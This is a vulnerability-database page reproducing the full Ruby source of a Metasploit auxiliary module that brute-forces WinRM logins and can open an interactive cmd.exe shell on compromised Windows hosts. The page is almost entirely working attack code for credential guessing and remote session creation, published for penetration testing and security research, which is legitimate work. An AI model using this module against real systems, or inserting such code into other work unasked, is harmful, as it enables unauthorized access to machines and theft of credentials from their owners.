Lucene search
+L

WinRM Login Utility

🗓️ 27 May 2016 21:25:42Reported by thelightcosine, smasheryType 
metasploit
 metasploit
🔗 www.rapid7.com👁 91 Views

WinRM Login Utility module for authenticating to WinRM service without SSL suppor

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner'
require 'metasploit/framework/login_scanner/winrm'
require 'net/winrm/connection'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::WinRM
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::CommandShell
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::Kerberos::Ticket::Storage
  include Msf::Sessions::CreateSessionOptions
  include Msf::Auxiliary::ReportSummary

  def initialize
    super(
      'Name' => 'WinRM Login Utility',
      'Description' => %q{
        This module attempts to authenticate to a WinRM service. It currently
        works only if the remote end allows Negotiate(NTLM) authentication.
        Kerberos is not currently supported.  Please note: in order to use this
        module without SSL, the 'AllowUnencrypted' winrm option must be set.
        Otherwise adjust the port and set the SSL options in the module as appropriate.
      },
      'Author' => [ 'thelightcosine', 'smashery' ],
      'References' => [
        [ 'CVE', '1999-0502'] # Weak password
      ],
      'License' => MSF_LICENSE
    )
  end

  def run
    check_winrm_parameters
    super
  end

  def run_host(ip)
    cred_collection = build_credential_collection(
      realm: datastore['DOMAIN'],
      username: datastore['USERNAME'],
      password: datastore['PASSWORD']
    )

    kerberos_authenticator_factory = nil
    if datastore['Winrm::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS
      kerberos_authenticator_factory = -> (username, password, realm) do
        Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::HTTP.new(
          host: datastore['DomainControllerRhost'],
          hostname: datastore['Winrm::Rhostname'],
          proxies: datastore['Proxies'],
          realm: realm,
          username: username,
          password: password,
          timeout: 20,
          framework: framework,
          framework_module: self,
          cache_file: datastore['Winrm::Krb5Ccname'].blank? ? nil : datastore['Winrm::Krb5Ccname'],
          mutual_auth: true,
          use_gss_checksum: true,
          ticket_storage: kerberos_ticket_storage,
          offered_etypes: Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['Winrm::KrbOfferedEncryptionTypes'])
        )
      end
    end

    keep_connection_alive = datastore['CreateSession']

    scanner = Metasploit::Framework::LoginScanner::WinRM.new(
      configure_login_scanner(
        host: ip,
        port: rport,
        proxies: datastore['Proxies'],
        cred_details: cred_collection,
        stop_on_success: datastore['STOP_ON_SUCCESS'],
        bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
        connection_timeout: 10,
        framework: framework,
        framework_module: self,
        kerberos_authenticator_factory: kerberos_authenticator_factory,
        keep_connection_alive: keep_connection_alive
      )
    )

    scanner.scan! do |result|
      credential_data = result.to_h
      credential_data.merge!(
        module_fullname: fullname,
        workspace_id: myworkspace_id
      )
      if result.success?
        credential_core = create_credential(credential_data)
        credential_data[:core] = credential_core
        create_credential_login(credential_data)

        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
        if datastore['CreateSession']
          http_client = result.connection
          rhost = result.host
          rport = result.port
          uri = datastore['URI']
          schema = result.service_name
          ssl = schema == 'https' # Can't trust the datastore value, because the scanner does some *magic* to set it for us
          endpoint = "#{schema}://#{rhost}:#{rport}#{uri}"
          conn = Net::MsfWinRM::RexWinRMConnection.new(
            {
              endpoint: endpoint,
              host: rhost,
              port: rport,
              proxies: datastore['Proxies'],
              uri: uri,
              ssl: ssl,
              user: result.credential.public,
              password: result.credential.private,
              transport: :rexhttp,
              no_ssl_peer_verification: true,
              operation_timeout: 1, # For the WinRM server
              timeout: 20, # For the underlying HTTP client
              retry_delay: 1,
              realm: result.credential.realm,
              http_client: http_client
            }
          )
          shell = conn.shell(:stdin, {})
          session_setup(shell, rhost, rport, endpoint)
        end
      else
        invalidate_login(credential_data)
        vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
      end
    end
  end

  def session_setup(shell, _rhost, _rport, _endpoint)
    # We use cmd rather than powershell because powershell v3 on 2012 (and maybe earlier)
    # do not seem to pass us stdout/stderr.
    interactive_process_id = shell.send_command('cmd.exe')
    sess = Msf::Sessions::WinrmCommandShell.new(shell, interactive_process_id)
    sess.platform = 'windows'
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    info = "WinRM #{username}:#{password} (#{shell.owner})"
    merge_me = {
      'USERNAME' => username,
      'PASSWORD' => password
    }

    start_session(self, info, merge_me, false, nil, sess)
  end

  def start_session(obj, info, ds_merge, _crlf = false, _sock = nil, sess = nil)
    sess.set_from_exploit(obj)
    sess.info = info

    # Clean up the stored data
    sess.exploit_datastore.merge!(ds_merge)

    framework.sessions.register(sess)
    sess.process_autoruns(datastore)

    # Notify the framework that we have a new session opening up...
    # Don't let errant event handlers kill our session
    begin
      framework.events.on_session_open(sess)
    rescue ::Exception => e
      wlog("Exception in on_session_open event handler: #{e.class}: #{e}")
      wlog("Call Stack\n#{e.backtrace.join("\n")}")
    end

    sess
  end

  def test_request
    return winrm_wql_msg('Select Name,Status from Win32_Service')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jun 2024 10:02Current
7.2High risk
Vulners AI Score7.2
CVSS 27.5
EPSS0.53618
91